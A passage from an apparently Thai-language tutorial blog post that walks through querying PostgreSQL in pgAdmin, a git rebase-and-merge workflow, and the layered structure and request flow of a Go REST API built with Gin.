https://blog.pjjop.org/content/images/2024/12/Screenshot-2024-12-28-at-9.51.27-PM.png 1762w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE04;&#xE25;&#xE34;&#xE4A;&#xE01;&#xE02;&#xE27;&#xE32;&#xE17;&#xE35;&#xE48; postgres &#xE40;&#xE25;&#xE37;&#xE2D;&#xE01; Query Tool</li></ul><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.11.04.png" class="kg-image" alt loading="lazy" width="2000" height="1583" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.11.04.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.11.04.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.11.04.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.11.04.png 2000w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; Query &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE19; Table users &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49; &#xE41;&#xE25;&#xE49;&#xE27;&#xE01;&#xE14;&#xE1B;&#xE38;&#xE48;&#xE21; Play</li></ul><pre><code>select * from users</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.12.34.png" class="kg-image" alt loading="lazy" width="2000" height="1345" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.12.34.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.12.34.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.12.34.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.12.34.png 2000w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23; Deploy, Backup Database &#xE41;&#xE25;&#xE30; Query &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE41;&#xE25;&#xE49;&#xE27;&#xE08;&#xE36;&#xE07; Commit Code &#xE40;&#xE02;&#xE49;&#xE32; Git &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</li></ul><pre><code>git add .

git commit -m &apos;config postgresql, backup container and pgadmin&apos;</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.17.26.png" class="kg-image" alt loading="lazy" width="2000" height="305" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.17.26.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.17.26.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.17.26.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.17.26.png 2000w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE14;&#xE39; History &#xE17;&#xE35;&#xE48; Commit</li></ul><pre><code>git log --oneline</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.22.22.png" class="kg-image" alt loading="lazy" width="1976" height="220" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.22.22.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.22.22.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.22.22.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.22.22.png 1976w" sizes="(min-width: 720px) 720px"></figure><p>Rebase &#xE42;&#xE14;&#xE22;&#xE19;&#xE33;&#xE42;&#xE04;&#xE49;&#xE14;&#xE43;&#xE19; branch &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE21;&#xE32;&#xE2D;&#xE31;&#xE1B;&#xE40;&#xE14;&#xE15;&#xE43;&#xE2B;&#xE49;&#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE1A; Trunk &#xE25;&#xE48;&#xE32;&#xE2A;&#xE38;&#xE14;</p><ul><li>&#xE41;&#xE15;&#xE48;&#xE01;&#xE48;&#xE2D;&#xE19; Rebase &#xE04;&#xE27;&#xE23;&#xE14;&#xE36;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE25;&#xE48;&#xE32;&#xE2A;&#xE38;&#xE14;&#xE08;&#xE32;&#xE01; Trunk &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE41;&#xE19;&#xE48;&#xE43;&#xE08;&#xE27;&#xE48;&#xE32; Branch &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19;&#xE2A;&#xE16;&#xE32;&#xE19;&#xE30;&#xE25;&#xE48;&#xE32;&#xE2A;&#xE38;&#xE14; &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE1A;&#xE19; Github Server</li></ul><pre><code>git checkout main

git pull origin main</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.28.13.png" class="kg-image" alt loading="lazy" width="1972" height="262" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.28.13.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.28.13.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.28.13.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.28.13.png 1972w" sizes="(min-width: 720px) 720px"></figure><ul><li>Rebase &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE33;&#xE42;&#xE04;&#xE49;&#xE14;&#xE43;&#xE19; Branch &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE21;&#xE32; Update &#xE43;&#xE2B;&#xE49;&#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE1A; Trunk &#xE25;&#xE48;&#xE32;&#xE2A;&#xE38;&#xE14;</li></ul><pre><code>git checkout feature/config-postgresql

git rebase main</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.33.04.png" class="kg-image" alt loading="lazy" width="1970" height="258" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.33.04.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.33.04.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.33.04.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.33.04.png 1970w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D; Code &#xE43;&#xE19; Branch feature/config-postgresql &#xE15;&#xE23;&#xE07;&#xE01;&#xE31;&#xE1A; Trank &#xE25;&#xE48;&#xE32;&#xE2A;&#xE38;&#xE14;&#xE41;&#xE25;&#xE49;&#xE27; &#xE08;&#xE36;&#xE07; Merge &#xE01;&#xE25;&#xE31;&#xE1A;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Trunk (&#xE16;&#xE49;&#xE32;&#xE21;&#xE35; Conflict &#xE15;&#xE2D;&#xE19; Rebase &#xE43;&#xE2B;&#xE49;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; Conflict &#xE01;&#xE48;&#xE2D;&#xE19; Merge)</li></ul><pre><code>git checkout main

git merge feature/config-postgresql
</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.38.10.png" class="kg-image" alt loading="lazy" width="1970" height="538" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.38.10.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.38.10.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.38.10.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.38.10.png 1970w" sizes="(min-width: 720px) 720px"></figure><p>*&#xE2D;&#xE32;&#xE08; Push Branch feature/config-postgresql &#xE02;&#xE36;&#xE49;&#xE19; Github Server &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE1B;&#xE34;&#xE14; Pull Request (PR) &#xE43;&#xE2B;&#xE49;&#xE17;&#xE35;&#xE21;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE01;&#xE47;&#xE44;&#xE14;&#xE49;</p><p>**&#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02; Conflict &#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01; Rebase</p><pre><code>1. &#xE14;&#xE39; File &#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE34;&#xE14; Conflict
2. &#xE40;&#xE1B;&#xE34;&#xE14; File &#xE17;&#xE35;&#xE48;&#xE21;&#xE35; Conflict &#xE41;&#xE25;&#xE30;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE04;&#xE27;&#xE32;&#xE21;&#xE02;&#xE31;&#xE14;&#xE41;&#xE22;&#xE49;&#xE07;
3. &#xE1A;&#xE31;&#xE19;&#xE17;&#xE36;&#xE01; File &#xE17;&#xE35;&#xE48;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE41;&#xE25;&#xE49;&#xE27;
4. &#xE43;&#xE0A;&#xE49; git add &#xE01;&#xE31;&#xE1A; File &#xE17;&#xE35;&#xE48;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;
5. &#xE43;&#xE0A;&#xE49; git rebase --continue &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23; Rebase &#xE15;&#xE48;&#xE2D;
6. &#xE2B;&#xE32;&#xE01;&#xE22;&#xE31;&#xE07;&#xE21;&#xE35; Conflict &#xE43;&#xE2B;&#xE49;&#xE17;&#xE33;&#xE0B;&#xE49;&#xE33;&#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE2D;&#xE19;&#xE08;&#xE19;&#xE01;&#xE27;&#xE48;&#xE32;&#xE08;&#xE30;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE2A;&#xE34;&#xE49;&#xE19;

&#xE22;&#xE01;&#xE40;&#xE25;&#xE34;&#xE01;&#xE01;&#xE32;&#xE23; Rebase (&#xE16;&#xE49;&#xE32;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;)
git rebase --abort

</code></pre><ul><li>Push Code &#xE02;&#xE36;&#xE49;&#xE19; Github Server</li></ul><pre><code>git push origin main</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.41.04.png" class="kg-image" alt loading="lazy" width="1970" height="364" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.41.04.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.41.04.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.41.04.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.41.04.png 1970w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE25;&#xE1A; Branch &#xE22;&#xE48;&#xE2D;&#xE22;&#xE17;&#xE35;&#xE48;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE41;&#xE25;&#xE49;&#xE27;</li></ul><pre><code>git branch -d feature/config-postgresql
</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.43.22.png" class="kg-image" alt loading="lazy" width="1976" height="184" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.43.22.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.43.22.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.43.22.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.43.22.png 1976w" sizes="(min-width: 720px) 720px"></figure><ul><li>&#xE14;&#xE39; History &#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;</li></ul><pre><code>git log --oneline</code></pre><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.54.01.png" class="kg-image" alt loading="lazy" width="1978" height="204" srcset="https://blog.pjjop.org/content/images/size/w600/2024/11/Screenshot-2567-11-09-at-10.54.01.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/11/Screenshot-2567-11-09-at-10.54.01.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/11/Screenshot-2567-11-09-at-10.54.01.png 1600w, https://blog.pjjop.org/content/images/2024/11/Screenshot-2567-11-09-at-10.54.01.png 1978w" sizes="(min-width: 720px) 720px"></figure><p>Trunk &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE21;&#xE35; History &#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE2A;&#xE49;&#xE19;&#xE15;&#xE23;&#xE07;&#xE2A;&#xE27;&#xE22;&#xE07;&#xE32;&#xE21;</p><h2 id="%E0%B8%9E%E0%B8%B1%E0%B8%92%E0%B8%99%E0%B8%B2-api-%E0%B9%80%E0%B8%8A%E0%B8%B7%E0%B9%88%E0%B8%AD%E0%B8%A1%E0%B8%95%E0%B9%88%E0%B8%AD%E0%B8%81%E0%B8%B1%E0%B8%9A-postgresql-%E0%B9%81%E0%B8%A5%E0%B8%B0-deploy-%E0%B8%9A%E0%B8%99-docker-container"><strong><strong><strong><strong><strong>&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; API<strong><strong> </strong></strong>&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A; PostgreSQL <strong><strong>&#xE41;&#xE25;&#xE30; Deploy &#xE1A;&#xE19; Docker Container</strong></strong></strong></strong></strong></strong></strong></h2><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; userservice Repo &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE01;&#xE47;&#xE1A; Codebase &#xE02;&#xE2D;&#xE07; REST API &#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE2D;&#xE07; Project &#xE14;&#xE31;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><pre><code>.
&#x251C;&#x2500;&#x2500; .env
&#x251C;&#x2500;&#x2500; .gitignore
&#x251C;&#x2500;&#x2500; Dockerfile
&#x251C;&#x2500;&#x2500; README.md
&#x251C;&#x2500;&#x2500; cmd
&#x2502;   &#x2514;&#x2500;&#x2500; main.go
&#x251C;&#x2500;&#x2500; docker-compose.yml
&#x251C;&#x2500;&#x2500; go.mod
&#x251C;&#x2500;&#x2500; go.sum
&#x251C;&#x2500;&#x2500; internal
&#x2502;   &#x251C;&#x2500;&#x2500; config
&#x2502;   &#x2502;   &#x2514;&#x2500;&#x2500; config.go
&#x2502;   &#x251C;&#x2500;&#x2500; handler
&#x2502;   &#x2502;   &#x2514;&#x2500;&#x2500; user_handler.go
&#x2502;   &#x251C;&#x2500;&#x2500; middleware
&#x2502;   &#x2502;   &#x2514;&#x2500;&#x2500; auth_middleware.go
&#x2502;   &#x251C;&#x2500;&#x2500; models
&#x2502;   &#x2502;   &#x2514;&#x2500;&#x2500; user.go
&#x2502;   &#x251C;&#x2500;&#x2500; repository
&#x2502;   &#x2502;   &#x2514;&#x2500;&#x2500; user_repository.go
&#x2502;   &#x2514;&#x2500;&#x2500; service
&#x2502;       &#x2514;&#x2500;&#x2500; user_service.go
&#x2514;&#x2500;&#x2500; main</code></pre><p>Project &#xE19;&#xE35;&#xE49;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Code &#xE40;&#xE1B;&#xE47;&#xE19; Layer &#xE42;&#xE14;&#xE22;&#xE41;&#xE22;&#xE01;&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE34;&#xE14;&#xE0A;&#xE2D;&#xE1A;&#xE2D;&#xE2D;&#xE01;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2A;&#xE48;&#xE27;&#xE19; &#xE46; &#xE14;&#xE31;&#xE07;&#xE19;&#xE35;&#xE49;</p><ol><li><strong>cmd/</strong><br>&#xE21;&#xE35; File main.go &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE08;&#xE38;&#xE14;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE02;&#xE2D;&#xE07; Program (Entry point) &#xE17;&#xE33;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;<br>- &#xE42;&#xE2B;&#xE25;&#xE14; Configuration<br>- &#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;<br>- &#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Instance &#xE02;&#xE2D;&#xE07; Repository, Service &#xE41;&#xE25;&#xE30; Handler<br>- &#xE15;&#xE31;&#xE49;&#xE07;&#xE04;&#xE48;&#xE32; HTTP Routes &#xE41;&#xE25;&#xE30; Middleware<br>- &#xE23;&#xE31;&#xE19; HTTP Server &#xE42;&#xE14;&#xE22;&#xE43;&#xE0A;&#xE49; Gin</li><li><strong>internal/config/</strong><br>&#xE40;&#xE01;&#xE47;&#xE1A; Code &#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE42;&#xE2B;&#xE25;&#xE14; Configuration &#xE40;&#xE0A;&#xE48;&#xE19; &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; API Token &#xE42;&#xE14;&#xE22;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE08;&#xE32;&#xE01; Environment Variables &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23; Deploy &#xE43;&#xE19;&#xE2A;&#xE20;&#xE32;&#xE1E;&#xE41;&#xE27;&#xE14;&#xE25;&#xE49;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46;</li><li><strong>internal/middleware/</strong><br>&#xE40;&#xE01;&#xE47;&#xE1A; Middleware &#xE40;&#xE0A;&#xE48;&#xE19; BearerAuth &#xE0B;&#xE36;&#xE48;&#xE07;&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A; Bearer Token &#xE43;&#xE19; Header &#xE02;&#xE2D;&#xE07; HTTP Request &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE0A;&#xE49;&#xE1B;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE31;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07; Resources &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07; Authentication</li><li><strong>internal/models/</strong><br>&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE42;&#xE04;&#xE23;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE02;&#xE2D;&#xE07; Entity &#xE40;&#xE0A;&#xE48;&#xE19; User &#xE0B;&#xE36;&#xE48;&#xE07;&#xE08;&#xE30;&#xE23;&#xE30;&#xE1A;&#xE38; Field &#xE41;&#xE25;&#xE30;&#xE0A;&#xE19;&#xE34;&#xE14;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE17;&#xE35;&#xE48;&#xE2A;&#xE30;&#xE17;&#xE49;&#xE2D;&#xE19;&#xE16;&#xE36;&#xE07;&#xE15;&#xE32;&#xE23;&#xE32;&#xE07;&#xE43;&#xE19;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35; Logic &#xE2D;&#xE37;&#xE48;&#xE19; &#xE46; &#xE1B;&#xE30;&#xE1B;&#xE19;</li><li><strong>internal/repository/</strong><br>&#xE17;&#xE33;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE0A;&#xE31;&#xE49;&#xE19; Data Access Layer &#xE15;&#xE34;&#xE14;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; PostgreSQL &#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07; &#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; SQL (&#xE40;&#xE0A;&#xE48;&#xE19; SELECT, INSERT, UPDATE &#xE41;&#xE25;&#xE30; DELETE) &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; User<br>- &#xE21;&#xE35; Interface UserRepository &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE2A;&#xE31;&#xE0D;&#xE0D;&#xE32; (Contract) &#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; User<br>- &#xE21;&#xE35; Struct &#xE17;&#xE35;&#xE48; Implement Interface &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE1A; DB<br>- &#xE21;&#xE35; Function &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; ConnectDB &#xE41;&#xE25;&#xE30; CheckDBConnection &#xE43;&#xE0A;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE41;&#xE25;&#xE30;&#xE15;&#xE23;&#xE27;&#xE08;&#xE2A;&#xE2D;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE1A;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;<br>- &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE10;&#xE32;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE2B;&#xE23;&#xE37;&#xE2D;&#xE22;&#xE49;&#xE32;&#xE22;&#xE44;&#xE1B;&#xE43;&#xE0A;&#xE49;&#xE41;&#xE2B;&#xE25;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2D;&#xE37;&#xE48;&#xE19;&#xE01;&#xE47;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; UserRepository &#xE15;&#xE31;&#xE27;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE35;&#xE48; Implement Interface &#xE40;&#xE14;&#xE34;&#xE21;&#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE44;&#xE21;&#xE48;&#xE01;&#xE23;&#xE30;&#xE17;&#xE1A;&#xE0A;&#xE31;&#xE49;&#xE19;&#xE1A;&#xE19;</li><li><strong>internal/service/</strong><br>&#xE17;&#xE33;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE0A;&#xE31;&#xE49;&#xE19; Business Logic &#xE2B;&#xE23;&#xE37;&#xE2D; Domain Logic &#xE2D;&#xE22;&#xE39;&#xE48;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; Repository &#xE41;&#xE25;&#xE30; Handler</li><li><strong>internal/handler/</strong><br>&#xE0A;&#xE31;&#xE49;&#xE19;&#xE19;&#xE35;&#xE49;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE0A;&#xE31;&#xE49;&#xE19; Interface &#xE01;&#xE31;&#xE1A;&#xE20;&#xE32;&#xE22;&#xE19;&#xE2D;&#xE01;&#xE1C;&#xE48;&#xE32;&#xE19; HTTP/Gin Router</li></ol><h3 id="request-flow">Request Flow</h3><ol><li>Client &#xE22;&#xE34;&#xE07; Request -&gt; &#xE40;&#xE02;&#xE49;&#xE32; Gin -&gt; &#xE40;&#xE0A;&#xE47;&#xE04; Middleware Auth -&gt; &#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07; Handler</li><li>Handler &#xE23;&#xE31;&#xE1A; Request -&gt; &#xE40;&#xE23;&#xE35;&#xE22;&#xE01; Service &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;</li><li>Service &#xE17;&#xE33;&#xE07;&#xE32;&#xE19; -&gt; &#xE40;&#xE23;&#xE35;&#xE22;&#xE01; Repository &#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE43;&#xE0A;&#xE49; DB</li><li>Repository &#xE14;&#xE36;&#xE07;/&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE19; DB &#xE2A;&#xE48;&#xE07;&#xE01;&#xE25;&#xE31;&#xE1A; Service</li><li>Service &#xE15;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2B;&#xE23;&#xE37;&#xE2D; Error &#xE2A;&#xE48;&#xE07;&#xE01;&#xE25;&#xE31;&#xE1A; Handler</li><li>Handler &#xE41;&#xE1B;&#xE25;&#xE07;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE40;&#xE1B;&#xE47;&#xE19; HTTP Response JSON &#xE01;&#xE25;&#xE31;&#xE1A;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; 